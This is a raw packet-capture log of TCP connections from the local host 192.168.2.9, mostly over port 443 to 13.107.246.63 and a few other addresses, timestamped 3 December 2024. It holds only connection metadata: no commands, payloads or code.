Dec 3, 2024 15:32:56.616959095 CET	443	49845	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.617129087 CET	49845	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.617198944 CET	49845	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.617216110 CET	443	49845	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.797636986 CET	443	49843	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.798319101 CET	49843	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.798337936 CET	443	49843	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.798861027 CET	49843	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.798866987 CET	443	49843	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.956919909 CET	443	49842	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.959871054 CET	443	49842	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.959981918 CET	49842	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.960007906 CET	49842	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.960026979 CET	443	49842	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.960038900 CET	49842	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.960045099 CET	443	49842	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.963979959 CET	49846	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.964025974 CET	443	49846	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:56.964092016 CET	49846	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.964324951 CET	49846	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:56.964339018 CET	443	49846	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:57.251604080 CET	443	49843	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:57.255237103 CET	443	49843	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:57.255300045 CET	443	49843	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:57.255336046 CET	49843	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:57.255395889 CET	49843	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:57.255425930 CET	49843	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:57.255436897 CET	443	49843	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:57.255450964 CET	49843	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:57.255455971 CET	443	49843	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:57.258723021 CET	49847	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:57.258758068 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:57.258831978 CET	49847	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:57.258992910 CET	49847	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:57.259005070 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.026659012 CET	49705	80	192.168.2.9	199.232.214.172
Dec 3, 2024 15:32:58.147515059 CET	80	49705	199.232.214.172	192.168.2.9
Dec 3, 2024 15:32:58.147613049 CET	49705	80	192.168.2.9	199.232.214.172
Dec 3, 2024 15:32:58.226104021 CET	443	49844	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.227072954 CET	49844	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.227093935 CET	443	49844	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.227648020 CET	49844	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.227653980 CET	443	49844	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.397402048 CET	443	49845	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.398559093 CET	49845	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.398596048 CET	443	49845	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.399101973 CET	49845	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.399107933 CET	443	49845	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.670478106 CET	443	49844	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.673799992 CET	443	49844	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.673870087 CET	49844	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.673908949 CET	49844	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.673928022 CET	443	49844	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.673938990 CET	49844	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.673944950 CET	443	49844	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.677684069 CET	49848	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.677737951 CET	443	49848	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.677820921 CET	49848	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.678021908 CET	49848	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.678036928 CET	443	49848	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.820826054 CET	443	49846	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.821567059 CET	49846	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.821593046 CET	443	49846	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.822156906 CET	49846	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.822163105 CET	443	49846	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.841403961 CET	443	49845	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.845024109 CET	443	49845	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.846827030 CET	49845	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.846879959 CET	49845	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.846895933 CET	443	49845	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.846906900 CET	49845	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.846919060 CET	443	49845	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.850132942 CET	49849	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.850174904 CET	443	49849	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:58.850260973 CET	49849	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.850420952 CET	49849	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:58.850436926 CET	443	49849	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.050147057 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.050751925 CET	49847	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.050780058 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.051321030 CET	49847	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.051326990 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.194005966 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:59.194067955 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:59.194142103 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:59.194556952 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:32:59.194572926 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:32:59.277636051 CET	443	49846	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.280915976 CET	443	49846	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.281029940 CET	49846	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.281080008 CET	49846	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.281097889 CET	443	49846	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.281110048 CET	49846	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.281116962 CET	443	49846	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.284728050 CET	49851	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.284785986 CET	443	49851	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.285084963 CET	49851	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.285084963 CET	49851	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.285121918 CET	443	49851	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.479067087 CET	443	49835	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.479686975 CET	49835	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.479713917 CET	443	49835	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.480285883 CET	49835	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.480292082 CET	443	49835	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.597007036 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.597048044 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.597110987 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.597186089 CET	49847	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.597254992 CET	49847	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.601871014 CET	49847	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.601903915 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.601931095 CET	49847	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.601939917 CET	443	49847	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.606692076 CET	49852	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.606749058 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.606838942 CET	49852	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.607021093 CET	49852	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:32:59.607036114 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.763014078 CET	49853	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:59.763063908 CET	443	49853	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:59.763142109 CET	49853	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:59.763364077 CET	49854	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:59.763415098 CET	443	49854	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:59.763469934 CET	49854	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:59.771466970 CET	49854	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:59.771496058 CET	443	49854	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:59.771660089 CET	49853	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:32:59.771678925 CET	443	49853	101.99.88.62	192.168.2.9
Dec 3, 2024 15:32:59.981807947 CET	443	49835	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.984869003 CET	443	49835	13.107.246.63	192.168.2.9
Dec 3, 2024 15:32:59.984957933 CET	49835	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.001512051 CET	49835	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.001540899 CET	443	49835	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.001554012 CET	49835	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.001559973 CET	443	49835	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.005014896 CET	49855	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.005079031 CET	443	49855	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.005158901 CET	49855	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.005367994 CET	49855	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.005383968 CET	443	49855	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.393192053 CET	443	49848	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.393835068 CET	49848	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.393847942 CET	443	49848	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.394346952 CET	49848	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.394351959 CET	443	49848	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.695955992 CET	443	49849	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.696585894 CET	49849	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.696624041 CET	443	49849	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.698010921 CET	49849	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.698029041 CET	443	49849	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.829083920 CET	443	49848	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.832130909 CET	443	49848	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.832201004 CET	49848	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.832242012 CET	49848	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.832259893 CET	443	49848	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.832269907 CET	49848	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.832274914 CET	443	49848	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.835798025 CET	49856	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.835848093 CET	443	49856	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:00.835942030 CET	49856	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.836141109 CET	49856	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:00.836163044 CET	443	49856	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.060723066 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.060854912 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.062459946 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.062475920 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.062724113 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.064413071 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.107332945 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.138961077 CET	443	49851	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.139637947 CET	49851	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.139658928 CET	443	49851	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.140250921 CET	49851	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.140269041 CET	443	49851	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.148869991 CET	443	49849	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.152744055 CET	443	49849	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.152813911 CET	49849	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.152911901 CET	49849	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.152930021 CET	443	49849	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.152942896 CET	49849	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.152949095 CET	443	49849	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.156378031 CET	49857	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.156409025 CET	443	49857	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.156481981 CET	49857	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.156641006 CET	49857	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.156656027 CET	443	49857	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.387511015 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.388220072 CET	49852	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.388250113 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.388731956 CET	49852	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.388740063 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.445264101 CET	443	49854	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:01.445725918 CET	49854	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:01.445754051 CET	443	49854	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:01.446178913 CET	443	49854	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:01.446512938 CET	49854	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:01.446583986 CET	443	49854	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:01.446722031 CET	49854	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:01.487261057 CET	443	49853	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:01.487658978 CET	49853	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:01.487682104 CET	443	49853	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:01.488063097 CET	443	49853	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:01.488488913 CET	49853	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:01.488558054 CET	443	49853	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:01.491338968 CET	443	49854	101.99.88.62	192.168.2.9
Dec 3, 2024 15:33:01.530791998 CET	49737	443	192.168.2.9	176.31.121.57
Dec 3, 2024 15:33:01.530802965 CET	443	49737	176.31.121.57	192.168.2.9
Dec 3, 2024 15:33:01.530827045 CET	49853	443	192.168.2.9	101.99.88.62
Dec 3, 2024 15:33:01.583883047 CET	443	49851	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.591037989 CET	443	49851	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.591114044 CET	49851	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.591178894 CET	49851	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.591202974 CET	443	49851	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.591218948 CET	49851	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.591226101 CET	443	49851	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.594748974 CET	49858	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.594785929 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.594857931 CET	49858	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.595048904 CET	49858	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.595062017 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.724836111 CET	443	49855	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.725569010 CET	49855	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.725584984 CET	443	49855	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.726083994 CET	49855	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.726089954 CET	443	49855	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.800956964 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.800992012 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.801007986 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.801081896 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.801100969 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.801148891 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.833762884 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.833786964 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.833826065 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.833893061 CET	49852	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.833925962 CET	49852	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.834237099 CET	49852	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.834260941 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.834270954 CET	49852	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.834276915 CET	443	49852	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.838124990 CET	49859	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.838150024 CET	443	49859	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.838241100 CET	49859	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.838438034 CET	49859	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:01.838454008 CET	443	49859	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:01.845422983 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.845479965 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.845524073 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.845541000 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.845552921 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.845570087 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.845601082 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.845804930 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.845818996 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:01.845834017 CET	49850	443	192.168.2.9	52.149.20.212
Dec 3, 2024 15:33:01.845839977 CET	443	49850	52.149.20.212	192.168.2.9
Dec 3, 2024 15:33:02.161221027 CET	443	49855	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.164017916 CET	443	49855	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.164093018 CET	49855	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.164140940 CET	49855	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.164158106 CET	443	49855	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.164170980 CET	49855	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.164176941 CET	443	49855	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.168045044 CET	49860	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.168090105 CET	443	49860	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.168170929 CET	49860	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.168401003 CET	49860	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.168418884 CET	443	49860	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.684225082 CET	443	49856	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.728076935 CET	49856	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.728125095 CET	443	49856	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.730710030 CET	49856	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.730719090 CET	443	49856	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.938688993 CET	443	49857	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.939395905 CET	49857	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.939433098 CET	443	49857	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:02.939940929 CET	49857	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:02.939949036 CET	443	49857	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.141550064 CET	443	49856	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.144903898 CET	443	49856	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.145004034 CET	49856	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.145102024 CET	49856	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.145128965 CET	443	49856	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.145140886 CET	49856	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.145153046 CET	443	49856	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.148642063 CET	49861	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.148674965 CET	443	49861	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.148742914 CET	49861	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.148955107 CET	49861	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.148968935 CET	443	49861	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.376569033 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.377206087 CET	49858	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.377249002 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.377715111 CET	49858	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.377722025 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.389214039 CET	443	49857	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.389321089 CET	443	49857	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.389400005 CET	49857	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.389575005 CET	49857	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.389599085 CET	443	49857	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.389611006 CET	49857	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.389616966 CET	443	49857	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.393635988 CET	49862	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.393668890 CET	443	49862	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.393744946 CET	49862	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.393970013 CET	49862	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.393981934 CET	443	49862	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.620214939 CET	443	49859	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.620946884 CET	49859	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.620987892 CET	443	49859	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.621459961 CET	49859	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.621468067 CET	443	49859	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.821578979 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.824954033 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.825006008 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.825063944 CET	49858	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.825120926 CET	49858	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.825252056 CET	49858	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.825252056 CET	49858	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.825279951 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.825293064 CET	443	49858	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.829565048 CET	49863	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.829605103 CET	443	49863	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:03.829705000 CET	49863	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.829958916 CET	49863	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:03.829972029 CET	443	49863	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:04.023049116 CET	443	49860	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:04.023753881 CET	49860	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:04.023792028 CET	443	49860	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:04.024293900 CET	49860	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:04.024310112 CET	443	49860	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:04.064656019 CET	443	49859	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:04.068624020 CET	443	49859	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:04.068742037 CET	49859	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:04.068821907 CET	49859	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:04.068845034 CET	443	49859	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:04.068857908 CET	49859	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:04.068865061 CET	443	49859	13.107.246.63	192.168.2.9
Dec 3, 2024 15:33:04.072730064 CET	49864	443	192.168.2.9	13.107.246.63
Dec 3, 2024 15:33:04.072779894 CET	443	49864	13.107.246.63	192.168.2.9
